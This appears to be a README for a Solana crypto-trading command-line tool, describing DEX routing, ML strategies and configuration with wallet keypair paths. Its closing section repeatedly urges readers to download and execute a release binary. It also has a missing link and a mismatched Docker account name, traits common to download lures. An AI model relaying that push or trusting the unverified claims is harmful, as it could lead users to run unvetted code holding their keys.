https://github.com/Davidewolfy/solana-trading-cli/releases
Solana Trading CLI is a production-ready trading system for the Solana ecosystem. It combines unified multi-DEX routing, real-time data streaming, machine learning (ML) strategies, and autonomous architecture search (ASI-Arch) to deliver fast, resilient, and adaptive trading workflows. The project blends a robust core engine written in Rust with a flexible TypeScript tooling layer, enabling both high-performance trading operations and accessible scripting for strategy experiments.
This repository targets developers, quant traders, system operators, and researchers who want a scalable, transparent, and extensible toolkit for Solana-based trading. You will find a modular architecture, clear interfaces, and strategy primitives that you can customize or extend. The system is designed to run in production-like environments, including local workstations, cloud VMs, and containerized deployments.
Table of Contents
- Overview
- Why Solana Trading CLI
- Core Concepts
- Architecture and Design
- Getting Started
- Quick Start Guide
- DEX Routing and Real-Time Streaming
- ML Strategies and ASI-Arch
- Configuration and Extensibility
- Security and Reliability
- Observability and Metrics
- Testing, CI, and Quality Assurance
- Docker and Deployment
- Developer Guide
- Roadmap and Release Process
- Community, Contributions, and Code of Conduct
- License
Overview Solana Trading CLI functions as a unified control plane for Solana-based markets. It routes orders across multiple DEXs, preserving best-execution approaches while maintaining low latency and high reliability. Real-time streaming streams market data and account events directly to the CLI, enabling near-instant decision loops. ML strategies can be trained, tested, and deployed within the same toolchain, allowing data-driven decisions to adapt to market regimes. The autonomous architecture search (ASI-Arch) module analyzes live trading patterns and system constraints to propose architecture changes that enhance throughput, reduce latency, or improve risk controls. This combination yields a cohesive, scalable, and intelligent trading system suitable for production environments.
Why Solana Trading CLI
- Unified routing across multiple DEXs: You no longer need bespoke scripts for every exchange. The routing layer selects the best price, liquidity, and slippage profile, then dispatches orders to the optimal venue.
- Real-time data and streaming: Market data, order book updates, and trades flow through a low-latency stream, enabling fast reaction to market shifts.
- ML-driven strategies: Build, evaluate, and run ML-based trading approaches that adapt to evolving conditions. Re-train, validate, and deploy strategies with confidence.
- Autonomous architecture search: ASI-Arch continuously analyzes performance, resource usage, and risk metrics to suggest architecture improvements. This helps you stay ahead as workloads scale.
- Production-ready stance: The system is designed for reliability, observability, and maintainability. It ships with tests, CI, containerization, and clear operational guides.
Core Concepts
- Unified DEX Routing: A routing layer sits between strategy logic and each DEX client. It abstracts exchange specifics and provides a consistent API for price discovery, liquidity checks, and order placement.
- Real-Time Streaming: A streaming bus propagates updates from Solana programs, DEX events, and market feeds. Consumers can subscribe to topics like order book depth, trade feeds, and account notifications.
- ML Strategies: A library of model templates and feature extractors. It supports offline backtesting and live inference with safeguards. Models can be swapped or layered into strategy pipelines.
- ASI-Arch (Autonomous Architecture Search): A lightweight agent runs optimization tasks on the deployment plane. It considers latency, throughput, resilience, and cost to propose alternative architectures and config changes.
- Modularity: The system uses clean boundaries between core engine, data adapters, strategy modules, and orchestration. You can replace or extend components with minimal friction.
Architecture and Design
- Core Engine (Rust): The heart of the system. It provides deterministic, low-latency processing for order routing, event handling, and risk checks. It also orchestrates the streaming and execution pipelines.
- CLI and Tooling Layer (TypeScript/Node): Scripting and tooling around the core engine. It provides configuration, workflow automation, and user-facing commands. It also exposes utilities for testing and simulation.
- Data Adapters: Connectors for Solana RPC, DEX APIs, and data feeds. They normalize data into common formats used by routing, strategies, and analytics modules.
- Routing Module: The unified path from strategy outputs to exchange-specific execution. It encapsulates API calls, slippage models, and timing constraints.
- Strategy Library: A set of ready-to-run ML-based strategies, plus a framework for custom models. It includes feature builders, normalization steps, and evaluation metrics.
- Observability: Logging, metrics, traces, and dashboards. The system exports standard formats for Prometheus, OpenTelemetry, and log aggregators.
- ASI-Arch Engine: A separate optimizer that runs ongoing experiments. It suggests architectural changes, new components, or tuning knobs to improve the overall system.
Getting Started Prerequisites
- Rust toolchain (latest stable) with cargo.
- Node.js (LTS) for tooling and scripting.
- Access to a Solana cluster (devnet or testnet for testing; mainnet for production use with caution).
- Docker (optional but recommended for production-like environments).
- Git for version control.
Installation
- From source
- Clone the repository and build the core:
- cargo build --release
- Build the TypeScript tooling:
- npm install
- npm run build
- Clone the repository and build the core:
- From prebuilt releases
- The repository provides binary releases you can download directly. The Releases page contains assets for Linux, macOS, and Windows. To obtain the assets, visit the Releases page:
- Extract the archive and run the binary appropriate for your OS.
- Docker-based deployment
- A Docker image is provided for fast setup and consistent environments. Use:
- docker pull davidweolfy/solana-trading-cli:latest
- docker run --rm -it davidweolfy/solana-trading-cli:latest
- A Docker image is provided for fast setup and consistent environments. Use:
- Quick verification
- After installation, verify the version:
- sol-trading --version
- Confirm connectivity to your Solana cluster and that the routing layer is ready to accept strategy inputs.
- After installation, verify the version:
First Run and Basic Workflow
- Configure your environment
- Create a configuration file (config.yaml) that defines:
- Solana RPC endpoints
- DEX endpoints or adapters
- Account keys and permissions
- Streaming topics to subscribe to
- Routing preferences and risk thresholds
- Example minimal config sections:
- solana_rpc: https://api.devnet.solana.com
- dex_adapters:
- name: serum enabled: true
- name: raydium enabled: true
- accounts:
- keypair: /path/to/your/keypair.json
- streaming:
- enable: true
- topics: ["order_book", "trades", "balances"]
- Create a configuration file (config.yaml) that defines:
- Start the system
- Run the core engine with your config:
- cargo run --release -- --config config.yaml
- Or start the CLI tooling, if you prefer scripting:
- npm run start -- --config config.yaml
- Run the core engine with your config:
- Validate a simple workflow
- Verify streaming topics produce updates in real time.
- Issue a mock or paper trade in a safe environment to validate routing to multiple DEXs.
- Observe the routing decisions and confirm that best-price and best-liquidity criteria are being respected.
DEX Routing and Real-Time Streaming Unified Multi-DEX Routing
- The routing layer abstracts away exchange-specific details. It presents a single API to the strategy, including:
- Price discovery: get_best_price and get_mid_price across DEXs.
- Liquidity checks: available_liquidity and depth estimates.
- Execution: place_order with control over time-in-force, slippage, and post-trade risk checks.
- Routing strategies
- Market-aware routing: prioritize best price with liquidity constraints.
- Time-aware routing: factor in latency to avoid stale quotes.
- Risk-adjusted routing: apply position sizing and exposure limits during routing.
- Extensibility
- Add new DEX adapters through a clean plugin interface.
- Each adapter implements a small, stable contract to the routing engine, keeping the core logic simple and maintainable.
Real-Time Streaming
- Data streams
- Market data: order books, recent trades, price feeds, imbalances.
- Account streams: fills, cancellations, and margin updates.
- System events: health checks, alerts, and ASI-Arch suggestions.
- Consumers
- Strategy modules subscribe to relevant topics.
- Analytics dashboards observe live metrics.
- Operational scripts monitor health and auto-recover from transient faults.
- Reliability
- Backpressure handling and non-blocking I/O ensure smooth behavior under load.
- Replay capability for streams in the event of a restart, preserving state where feasible.
ML Strategies and Training
- Strategy templates
- Momentum, mean-reversion, breakout, and arbitrage-inspired templates.
- Each template defines input features, target labels, and risk controls.
- Feature engineering
- Feature builders compute indicators such as moving averages, volatility, order-flow imbalances, and liquidity metrics.
- Features are normalized and cached for efficient inference.
- Offline training and backtesting
- A sandboxed environment runs historical data through an ML pipeline.
- Backtests report key metrics: Sharpe, drawdown, win rate, and turnover.
- Live inference
- Lightweight models run on streaming data with low latency.
- Guardrails prevent unexpected model behavior. If a model behaves anomalously, the system can pause trading for safety.
- Model governance
- Versioned models and clear deployment steps.
- Rollback capability if new models underperform or misbehave.
Autonomous Architecture Search (ASI-Arch)
- Why ASI-Arch
- Markets change, workloads shift, and hardware evolves. ASI-Arch helps the system adapt without manual rewrites.
- How it works
- The agent monitors metrics like latency, throughput, error rates, and resource usage.
- It runs lightweight experiments to test alternative configurations and architectures.
- It suggests changes, such as rebalancing components, introducing caching, or switching to a different data adapter implementation.
- Safety and governance
- Changes proposed by ASI-Arch require human approval before deployment in production.
- Every proposal is tested in a staging environment with synthetic workloads before rollout.
- Outputs
- Suggested topology changes, parameter tweaks, and monitoring enhancements.
- A clear changelog of what was evaluated and what was adopted.
Configuration and Extensibility
- Config files
- YAML-based configuration with clear sections for networking, adapters, streaming, routing, and strategies.
- Environment variable overrides for sensitive values (keys, secrets, and tokens).
- Plugins and adapters
- Extend the system with new DEX adapters, signal processors, or data feeds.
- A stable interface keeps plugins isolated from core logic, reducing risk.
- Scripting and automation
- TypeScript tooling lets you build automation scripts for deployment, testing, or strategy experiments.
- Use the CLI to orchestrate multi-step workflows: fetch data, test a strategy, execute a small live trade, and roll back if needed.
- Config validation
- Built-in validation ensures correct types, required fields, and sane defaults.
- Helpful error messages guide you to fix misconfigurations quickly.
Security and Reliability
- Secrets management
- Secrets are stored securely and loaded at runtime with strict access controls.
- Avoid printing secrets to logs or UI surfaces.
- Access control
- Role-based access controls for operators and developers.
- Keys and credentials can be rotated with minimal disruption.
- Fault tolerance
- Components are designed to fail independently without taking down the entire system.
- Automatic recovery mechanisms restart failed services and re-sync state from streams.
- Auditing and traceability
- All actions, especially trades and routing decisions, are logged with timestamps and identifiers.
- Audit trails support compliance and debugging.
Observability and Metrics
- Metrics
- Latency per component, throughput, error rates, and queue lengths.
- Financial metrics like realized P&L, exposure across assets, and slippage stats.
- Logging
- Structured logs with context. Logs include correlation IDs to trace requests across services.
- Dashboards
- Prebuilt dashboards for real-time monitoring and post-trade analysis.
- Dashboards integrate with common tools like Prometheus and Grafana.
- Tracing
- Distributed tracing helps locate bottlenecks and failures across the system.
Testing, CI, and Quality Assurance
- Unit and integration tests
- The Rust core has a comprehensive test suite.
- The TypeScript tooling includes tests for CLI behavior and script interactions.
- End-to-end tests
- Simulated trading scenarios verify routing, streaming, and strategy integration.
- Continuous Integration
- CI runs on push or PR, including build, test, lint, and security checks.
- Quality gates
- Static analysis, formatting checks, and dependency hygiene are enforced.
- Release checks
- Release builds are validated in a staging environment before publishing assets to the Releases page.
Docker and Deployment
- Containerized deployment
- Docker images provide a consistent environment for development and production.
- Multi-stage build keeps images small and efficient.
- Orchestration
- Use Docker Compose or Kubernetes manifests to run the system at scale.
- The architecture supports horizontal scaling by adding more worker instances and adapters.
- Environment reproducibility
- Versioned images and configuration snapshots ensure reproducibility.
- Rollback options exist for both code and configuration changes.
Developer Guide Code structure
- Rust core
- Core data models, routing primitives, streaming interfaces, and the execution loop live here.
- TypeScript tooling
- CLI wrappers, config validators, and automation scripts live here.
- Data adapters
- Separate modules for each DEX and data feed. They implement a common adapter trait.
- Strategies
- Strategy templates, feature extractors, model loaders, and evaluation scripts belong to the strategies module.
- ASI-Arch
- The autonomous search engine resides in its own component with interfaces to monitor and propose changes.
How to contribute
- Find issues labeled “help wanted” or “good first issue.”
- Create a feature branch, implement changes, run tests, and submit a PR.
- Keep changes small and well-documented. Include tests where possible.
- Follow the project’s coding styles and defaults for both Rust and TypeScript.
- Update relevant docs if you add new features or modify interfaces.
Usage Patterns and Examples
- Example: Simple trading loop
- Initialize the system with a config file.
- Start streaming market data.
- Invoke a basic ML strategy to compute a signal.
- Route orders to the best DEX according to current liquidity.
- Monitor results and adjust risk controls in real time.
- Example: Running a strategy in backtest mode
- Trigger a backtest against historical data.
- Review performance metrics, refine features, and re-run.
- Example: ASI-Arch optimization run
- Enable an ASI-Arch experiment for a specified time window.
- Review proposed topology changes and approve or refine them.
Roadmap and Release Process
- Short-term goals
- Stabilize the core routing under heavy load.
- Expand the ML strategy library with additional models.
- Improve documentation and onboarding experience.
- Medium-term goals
- Strengthen ASI-Arch with more optimization signals.
- Add more DEX adapters and data feeds.
- Enhance security features and compliance tooling.
- Long-term goals
- Achieve broader ecosystem interoperability.
- Automate more operational tasks through AI-guided interventions.
- Release cadence
- Quarterly minor releases with feature growth and bug fixes.
- Patch releases as needed for critical fixes.
- Changelog and release notes
- Each release includes a summary of changes, breaking changes, and migration notes.
Community, Contributions, and Code of Conduct
- Code of Conduct
- Respectful behavior and constructive collaboration are expected from all contributors.
- Community guidelines
- Use issues to discuss ideas, report bugs, or propose enhancements.
- When contributing, include tests and documentation for new features.
- Documentation and examples
- All core features are documented with examples and usage notes.
- Examples cover common workflows and edge cases.
License
- MIT license. See LICENSE for details.
Notes on the Releases Link
- The primary link for obtaining binaries and release assets is the Releases page:
- https://github.com/Davidewolfy/solana-trading-cli/releases If you need a specific asset, download the appropriate binary for your operating system and run it. As a reminder, the link above contains a path part, so the file you download is the release artifact you execute. For convenience, you can also visit the Releases page again to review latest updates, download new assets, or compare version notes. To reiterate, the same link is also used here: https://github.com/Davidewolfy/solana-trading-cli/releases
Appendix: Quick Reference
- Key commands
- Build core: cargo build --release
- Run CLI tooling: npm run start -- --config config.yaml
- Check version: sol-trading --version
- Important directories
- src/core: Rust core engine
- src/adapter: DEX and data adapters
- src/strategy: ML strategy templates
- docs/: architecture diagrams, usage guides, and API references
- Troubleshooting
- If streaming stops, check network reachability to the Solana cluster and verify credentials.
- If routing stalls, inspect the adapter health and ensure DEX services are reachable.
- If ASI-Arch suggests changes but you want to defer, review the suggested metrics and apply changes gradually.
End state
- The Solana Trading CLI provides a cohesive platform for production-grade trading with unified routing, real-time data, ML-driven strategies, and autonomous optimization. This combined approach aims to reduce manual tuning while maintaining strict controls around risk and reliability. The system is designed to evolve with market conditions, hardware, and tooling trends, all while remaining accessible to practitioners who value clarity, transparency, and a robust baseline for experimentation.